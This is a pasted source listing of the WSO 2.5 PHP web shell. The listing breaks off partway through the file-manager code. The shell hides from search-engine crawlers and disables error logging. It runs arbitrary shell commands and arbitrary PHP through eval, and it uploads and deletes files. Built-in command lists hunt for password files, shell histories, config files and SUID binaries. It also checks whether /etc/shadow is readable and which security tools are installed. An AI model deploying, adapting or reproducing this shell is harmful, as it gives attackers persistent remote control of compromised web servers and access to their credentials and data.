· 10 years ago · Apr 27, 2016, 05:30 AM
1<?php
2$color = "#39dd18";
3$default_action = 'FilesMan';
4$default_use_ajax = true;
5$default_charset = 'Windows-1251';
6if($argc == 3) {
7$_POST = unserialize(base64_decode($argv[1]));
8$_SERVER = unserialize(base64_decode($argv[2]));
9}
10if(!empty($_SERVER['HTTP_USER_AGENT'])) {
11$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
12if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
13header('HTTP/1.0 404 Not Found');
14exit;
15}
16}
17@ini_set('error_log',NULL);
18@ini_set('log_errors',0);
19@ini_set('max_execution_time',0);
20@set_time_limit(0);
21@set_magic_quotes_runtime(0);
22@define('WSO_VERSION', '2.5');
23if(get_magic_quotes_gpc()) {
24function WSOstripslashes($array) {
25return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
26}
27$_POST = WSOstripslashes($_POST);
28$_COOKIE = WSOstripslashes($_COOKIE);
29}
30function wsoLogin() {
31die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
32}
33function WSOsetcookie($k, $v) {
34$_COOKIE[$k] = $v;
35setcookie($k, $v);
36}
37if(!empty($auth_pass)) {
38if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
39WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
40if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
41wsoLogin();
42}
43if(strtolower(substr(PHP_OS,0,3)) == "win")
44$os = 'win';
45else
46$os = 'nix';
47$safe_mode = @ini_get('safe_mode');
48if(!$safe_mode)
49error_reporting(0);
50$disable_functions = @ini_get('disable_functions');
51$home_cwd = @getcwd();
52if(isset($_POST['c']))
53@chdir($_POST['c']);
54$cwd = @getcwd();
55if($os == 'win') {
56$home_cwd = str_replace("\\", "/", $home_cwd);
57$cwd = str_replace("\\", "/", $cwd);
58}
59if($cwd[strlen($cwd)-1] != '/')
60$cwd .= '/';
61if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
62$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
63if($os == 'win')
64$aliases = array(
65"List Directory" => "dir",
66"Find index.php in current dir" => "dir /s /w /b index.php",
67"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
68"Show active connections" => "netstat -an",
69"Show running services" => "net start",
70"User accounts" => "net user",
71"Show computers" => "net view",
72"ARP Table" => "arp -a",
73"IP Configuration" => "ipconfig /all"
74);
75else
76$aliases = array(
77"List dir" => "ls -lha",
78"list file attributes on a Linux second extended file system" => "lsattr -va",
79"show opened ports" => "netstat -an | grep -i listen",
80"process status" => "ps aux",
81"Find" => "",
82"find all suid files" => "find / -type f -perm -04000 -ls",
83"find suid files in current dir" => "find . -type f -perm -04000 -ls",
84"find all sgid files" => "find / -type f -perm -02000 -ls",
85"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
86"find config.inc.php files" => "find / -type f -name config.inc.php",
87"find config* files" => "find / -type f -name \"config*\"",
88"find config* files in current dir" => "find . -type f -name \"config*\"",
89"find all writable folders and files" => "find / -perm -2 -ls",
90"find all writable folders and files in current dir" => "find . -perm -2 -ls",
91"find all service.pwd files" => "find / -type f -name service.pwd",
92"find service.pwd files in current dir" => "find . -type f -name service.pwd",
93"find all .htpasswd files" => "find / -type f -name .htpasswd",
94"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
95"find all .bash_history files" => "find / -type f -name .bash_history",
96"find .bash_history files in current dir" => "find . -type f -name .bash_history",
97"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
98"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
99"Locate" => "",
100"locate httpd.conf files" => "locate httpd.conf",
101"locate vhosts.conf files" => "locate vhosts.conf",
102"locate proftpd.conf files" => "locate proftpd.conf",
103"locate psybnc.conf files" => "locate psybnc.conf",
104"locate my.conf files" => "locate my.conf",
105"locate admin.php files" =>"locate admin.php",
106"locate cfg.php files" => "locate cfg.php",
107"locate conf.php files" => "locate conf.php",
108"locate config.dat files" => "locate config.dat",
109"locate config.php files" => "locate config.php",
110"locate config.inc files" => "locate config.inc",
111"locate config.inc.php" => "locate config.inc.php",
112"locate config.default.php files" => "locate config.default.php",
113"locate config* files " => "locate config",
114"locate .conf files"=>"locate '.conf'",
115"locate .pwd files" => "locate '.pwd'",
116"locate .sql files" => "locate '.sql'",
117"locate .htpasswd files" => "locate '.htpasswd'",
118"locate .bash_history files" => "locate '.bash_history'",
119"locate .mysql_history files" => "locate '.mysql_history'",
120"locate .fetchmailrc files" => "locate '.fetchmailrc'",
121"locate backup files" => "locate backup",
122"locate dump files" => "locate dump",
123"locate priv files" => "locate priv"
124);
125function wsoHeader() {
126if(empty($_POST['charset']))
127$_POST['charset'] = $GLOBALS['default_charset'];
128global $color;
129echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
130<style>
131body{background-color:#444;color:#e1e1e1;}
132body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
133table.info{ color:#fff;background-color:#222; }
134span,h1,a{ color: $color !important; }
135span{ font-weight: bolder; }
136h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
137div.content{ padding: 5px;margin-left:5px;background-color:#333; }
138a{ text-decoration:none; }
139a:hover{ text-decoration:underline; }
140.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
141.bigarea{ width:100%;height:300px; }
142input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
143form{ margin:0px; }
144#toolsTbl{ text-align:center; }
145.toolsInp{ width: 300px }
146.main th{text-align:left;background-color:#5e5e5e;}
147.main tr:hover{background-color:#5e5e5e}
148.l1{background-color:#444}
149.l2{background-color:#333}
150pre{font-family:Courier,Monospace;}
151</style>
152<script>
153var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
154var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
155var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
156var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
157var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
158var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
159var d = document;
160function set(a,c,p1,p2,p3,charset) {
161if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
162if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
163if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
164if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
165if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
166if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
167}
168function g(a,c,p1,p2,p3,charset) {
169set(a,c,p1,p2,p3,charset);
170d.mf.submit();
171}
172function a(a,c,p1,p2,p3,charset) {
173set(a,c,p1,p2,p3,charset);
174var params = 'ajax=true';
175for(i=0;i<d.mf.elements.length;i++)
176params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
177sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
178}
179function sr(url, params) {
180if (window.XMLHttpRequest)
181req = new XMLHttpRequest();
182else if (window.ActiveXObject)
183req = new ActiveXObject('Microsoft.XMLHTTP');
184if (req) {
185req.onreadystatechange = processReqChange;
186req.open('POST', url, true);
187req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
188req.send(params);
189}
190}
191function processReqChange() {
192if( (req.readyState == 4) )
193if(req.status == 200) {
194var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
195var arr=reg.exec(req.responseText);
196eval(arr[2].substr(0, arr[1]));
197} else alert('Request error!');
198}
199</script>
200<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
201<form method=post name=mf style='display:none;'>
202<input type=hidden name=a>
203<input type=hidden name=c>
204<input type=hidden name=p1>
205<input type=hidden name=p2>
206<input type=hidden name=p3>
207<input type=hidden name=charset>
208</form>";
209$freeSpace = @diskfreespace($GLOBALS['cwd']);
210$totalSpace = @disk_total_space($GLOBALS['cwd']);
211$totalSpace = $totalSpace?$totalSpace:1;
212$release = @php_uname('r');
213$kernel = @php_uname('s');
214$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
215if(strpos('Linux', $kernel) !== false)
216$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
217else
218$explink .= urlencode($kernel . ' ' . substr($release,0,3));
219if(!function_exists('posix_getegid')) {
220$user = @get_current_user();
221$uid = @getmyuid();
222$gid = @getmygid();
223$group = "?";
224} else {
225$uid = @posix_getpwuid(posix_geteuid());
226$gid = @posix_getgrgid(posix_getegid());
227$user = $uid['name'];
228$uid = $uid['uid'];
229$group = $gid['name'];
230$gid = $gid['gid'];
231}
232$cwd_links = '';
233$path = explode("/", $GLOBALS['cwd']);
234$n=count($path);
235for($i=0; $i<$n-1; $i++) {
236$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
237for($j=0; $j<=$i; $j++)
238$cwd_links .= $path[$j].'/';
239$cwd_links .= "\")'>".$path[$i]."/</a>";
240}
241$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
242$opt_charsets = '';
243foreach($charsets as $item)
244$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
245$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Melex'=>'Melex');
246if(!empty($GLOBALS['auth_pass']))
247$m['Logout'] = 'Logout';
248$m['Self remove'] = 'SelfRemove';
249$menu = '';
250foreach($m as $k => $v)
251$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
252$drives = "";
253if($GLOBALS['os'] == 'win') {
254foreach(range('c','z') as $drive)
255if(is_dir($drive.':\\'))
256$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
257}
258echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
259. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
260. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
261. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
262. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
263}
264function wsoFooter() {
265$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
266echo "
267</div>
268<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
269<tr>
270<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
271<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
272</tr><tr>
273<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
274<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
275</tr><tr>
276<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
277<td><form method='post' ENCTYPE='multipart/form-data'>
278<input type=hidden name=a value='FilesMAn'>
279<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
280<input type=hidden name=p1 value='uploadFile'>
281<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
282<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
283</tr></table></div></body></html>";
284}
285if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
286function posix_getpwuid($p) {return false;} }
287if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
288function posix_getgrgid($p) {return false;} }
289function wsoEx($in) {
290$out = '';
291if (function_exists('exec')) {
292@exec($in,$out);
293$out = @join("\n",$out);
294} elseif (function_exists('passthru')) {
295ob_start();
296@passthru($in);
297$out = ob_get_clean();
298} elseif (function_exists('system')) {
299ob_start();
300@system($in);
301$out = ob_get_clean();
302} elseif (function_exists('shell_exec')) {
303$out = shell_exec($in);
304} elseif (is_resource($f = @popen($in,"r"))) {
305$out = "";
306while(!@feof($f))
307$out .= fread($f,1024);
308pclose($f);
309}
310return $out;
311}
312function wsoViewSize($s) {
313if($s >= 1073741824)
314return sprintf('%1.2f', $s / 1073741824 ). ' GB';
315elseif($s >= 1048576)
316return sprintf('%1.2f', $s / 1048576 ) . ' MB';
317elseif($s >= 1024)
318return sprintf('%1.2f', $s / 1024 ) . ' KB';
319else
320return $s . ' B';
321}
322function wsoPerms($p) {
323if (($p & 0xC000) == 0xC000)$i = 's';
324elseif (($p & 0xA000) == 0xA000)$i = 'l';
325elseif (($p & 0x8000) == 0x8000)$i = '-';
326elseif (($p & 0x6000) == 0x6000)$i = 'b';
327elseif (($p & 0x4000) == 0x4000)$i = 'd';
328elseif (($p & 0x2000) == 0x2000)$i = 'c';
329elseif (($p & 0x1000) == 0x1000)$i = 'p';
330else $i = 'u';
331$i .= (($p & 0x0100) ? 'r' : '-');
332$i .= (($p & 0x0080) ? 'w' : '-');
333$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
334$i .= (($p & 0x0020) ? 'r' : '-');
335$i .= (($p & 0x0010) ? 'w' : '-');
336$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
337$i .= (($p & 0x0004) ? 'r' : '-');
338$i .= (($p & 0x0002) ? 'w' : '-');
339$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
340return $i;
341}
342function wsoPermsColor($f) {
343if (!@is_readable($f))
344return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
345elseif (!@is_writable($f))
346return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
347else
348return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
349}
350function wsoScandir($dir) {
351if(function_exists("scandir")) {
352return scandir($dir);
353} else {
354$dh = opendir($dir);
355while (false !== ($filename = readdir($dh)))
356$files[] = $filename;
357return $files;
358}
359}
360function wsoWhich($p) {
361$path = wsoEx('which ' . $p);
362if(!empty($path))
363return $path;
364return false;
365}
366function actionSecInfo() {
367wsoHeader();
368echo '<h1>Server security information</h1><div class=content>';
369function wsoSecParam($n, $v) {
370$v = trim($v);
371if($v) {
372echo '<span>' . $n . ': </span>';
373if(strpos($v, "\n") === false)
374echo $v . '<br>';
375else
376echo '<pre class=ml1>' . $v . '</pre>';
377}
378}
379wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
380if(function_exists('apache_get_modules'))
381wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
382wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
383wsoSecParam('Open base dir', @ini_get('open_basedir'));
384wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
385wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
386wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
387$temp=array();
388if(function_exists('mysql_get_client_info'))
389$temp[] = "MySql (".mysql_get_client_info().")";
390if(function_exists('mssql_connect'))
391$temp[] = "MSSQL";
392if(function_exists('pg_connect'))
393$temp[] = "PostgreSQL";
394if(function_exists('oci_connect'))
395$temp[] = "Oracle";
396wsoSecParam('Supported databases', implode(', ', $temp));
397echo '<br>';
398if($GLOBALS['os'] == 'nix') {
399wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
400wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
401wsoSecParam('OS version', @file_get_contents('/proc/version'));
402wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
403if(!$GLOBALS['safe_mode']) {
404$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
405$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
406$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
407echo '<br>';
408$temp=array();
409foreach ($userful as $item)
410if(wsoWhich($item))
411$temp[] = $item;
412wsoSecParam('Userful', implode(', ',$temp));
413$temp=array();
414foreach ($danger as $item)
415if(wsoWhich($item))
416$temp[] = $item;
417wsoSecParam('Danger', implode(', ',$temp));
418$temp=array();
419foreach ($downloaders as $item)
420if(wsoWhich($item))
421$temp[] = $item;
422wsoSecParam('Downloaders', implode(', ',$temp));
423echo '<br/>';
424wsoSecParam('HDD space', wsoEx('df -h'));
425wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
426echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
427if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
428$temp = "";
429for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
430$uid = @posix_getpwuid($_POST['p2']);
431if ($uid)
432$temp .= join(':',$uid)."\n";
433}
434echo '<br/>';
435wsoSecParam('Users', $temp);
436}
437}
438} else {
439wsoSecParam('OS Version',wsoEx('ver'));
440wsoSecParam('Account Settings',wsoEx('net accounts'));
441wsoSecParam('User Accounts',wsoEx('net user'));
442}
443echo '</div>';
444wsoFooter();
445}
446function actionPhp() {
447if(isset($_POST['ajax'])) {
448WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
449ob_start();
450eval($_POST['p1']);
451$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
452echo strlen($temp), "\n", $temp;
453exit;
454}
455if(empty($_POST['ajax']) && !empty($_POST['p1']))
456WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
457wsoHeader();
458if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
459echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
460ob_start();
461phpinfo();
462$tmp = ob_get_clean();
463$tmp = preg_replace(array (
464'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
465'!td, th {(.*)}!msiU',
466'!<img[^>]+>!msiU',
467), array (
468'',
469'.e, .v, .h, .h th {$1}',
470''
471), $tmp);
472echo str_replace('<h1','<h2', $tmp) .'</div><br>';
473}
474echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
475echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
476if(!empty($_POST['p1'])) {
477ob_start();
478eval($_POST['p1']);
479echo htmlspecialchars(ob_get_clean());
480}
481echo '</pre></div>';
482wsoFooter();
483}
484function actionFilesMan() {
485if (!empty ($_COOKIE['f']))
486$_COOKIE['f'] = @unserialize($_COOKIE['f']);
487if(!empty($_POST['p1'])) {
488switch($_POST['p1']) {
489case 'uploadFile':
490if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
491echo "Can't upload file!";
492break;
493case 'mkdir':
494if(!@mkdir($_POST['p2']))
495echo "Can't create new dir";
496break;
497case 'delete':
498function deleteDir($path) {
499$path = (substr($path,-1)=='/') ? $path:$path.'/';
500$dh = opendir($path);
501while ( ($item = readdir($dh) ) !== false) {
502$item = $path.$item;
503if ( (basename($item) == "..") || (basename($item) == ".") )
504continue;
505$type = filetype($item);
506if ($type == "dir")
507deleteDir($item);
508else
509@unlink($item);
510}
511closedir($dh);
512@rmdir($path);
513}
514if(is_array(@$_POST['f']))
515foreach($_POST['f'] as $f) {
516if($f == '..')
517continue;
518$f = urldecode($f);
519if(is_dir($f))
520deleteDir($f);
521else
522@unlink($f);
523}
524break;
525case 'paste':
526if($_COOKIE['act'] == 'copy') {
527function copy_paste($c,$s,$d){
528if(is_dir($c.$s)){
529mkdir($d.$s);
530$h = @opendir($c.$s);
531while (($f = @readdir($h)) !== false)
532if (($f != ".") and ($f != ".."))
533copy_paste($c.$s.'/',$f, $d.$s.'/');
534} elseif(is_file($c.$s))
535@copy($c.$s, $d.$s);
536}
537foreach($_COOKIE['f'] as $f)
538copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
539} elseif($_COOKIE['act'] == 'move') {
540function move_paste($c,$s,$d){
541if(is_dir($c.$s)){
542mkdir($d.$s);
543$h = @opendir($c.$s);
544while (($f = @readdir($h)) !== false)
545if (($f != ".") and ($f != ".."))
546copy_paste($c.$s.'/',$f, $d.$s.'/');
547} elseif(@is_file($c.$s))
548@copy($c.$s, $d.$s);
549}
550foreach($_COOKIE['f'] as $f)
551@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
552} elseif($_COOKIE['act'] == 'zip') {
553if(class_exists('ZipArchive')) {
554$zip = new ZipArchive();
555if ($zip->open($_POST['p2'], 1)) {
556chdir($_COOKIE['c']);
557foreach($_COOKIE['f'] as $f) {
558if($f == '..')
559continue;
560if(@is_file($_COOKIE['c'].$f))
561$zip->addFile($_COOKIE['c'].$f, $f);
562elseif(@is_dir($_COOKIE['c'].$f)) {
563$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
564foreach ($iterator as $key=>$value) {
565$zip->addFile(realpath($key), $key);
566}
567}
568}
569chdir($GLOBALS['cwd']);
570$zip->close();
571}
572}
573} elseif($_COOKIE['act'] == 'unzip') {
574if(class_exists('ZipArchive')) {
575$zip = new ZipArchive();
576foreach($_COOKIE['f'] as $f) {
577if($zip->open($_COOKIE['c'].$f)) {
578$zip->extractTo($GLOBALS['cwd']);
579$zip->close();
580}
581}
582}
583} elseif($_COOKIE['act'] == 'tar') {
584chdir($_COOKIE['c']);
585$_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
586wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
587chdir($GLOBALS['cwd']);
588}
589unset($_COOKIE['f']);
590setcookie('f', '', time() - 3600);
591break;
592default:
593if(!empty($_POST['p1'])) {
594WSOsetcookie('act', $_POST['p1']);
595WSOsetcookie('f', serialize(@$_POST['f']));
596WSOsetcookie('c', @$_POST['c']);
597}
598break;
599}
600}
601wsoHeader();
602echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
603$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
604if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
605global $sort;
606$sort = array('name', 1);
607if(!empty($_POST['p1'])) {
608if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
609$sort = array($match[1], (int)$match[2]);
610}
611echo "<script>
612function sa() {
613for(i=0;i<d.files.elements.length;i++)
614if(d.files.elements[i].type == 'checkbox')
615d.files.elements[i].checked = d.files.elements[0].checked;
616}
617</script>
618<table width='100%' class='main' cellspacing='0' cellpadding='2'>
619<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
620$dirs = $files = array();
621$n = count($dirContent);
622for($i=0;$i<$n;$i++) {
623$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
624$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
625$tmp = array('name' => $dirContent[$i],
626'path' => $GLOBALS['cwd'].$dirContent[$i],
627'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
628'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
629'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
630'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
631'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
632);
633if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
634$files[] = array_merge($tmp, array('type' => 'file'));
635elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
636$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
637elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&& ($dirContent[$i] != "."))
638$dirs[] = array_merge($tmp, array('type' => 'dir'));
639}
640$GLOBALS['sort'] = $sort;
641function wsoCmp($a, $b) {
642if($GLOBALS['sort'][0] != 'size')
643return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
644else
645return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
646}
647usort($files, "wsoCmp");
648usort($dirs, "wsoCmp");
649$files = array_merge($dirs, $files);
650$l = 0;
651foreach($files as $f) {
652echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
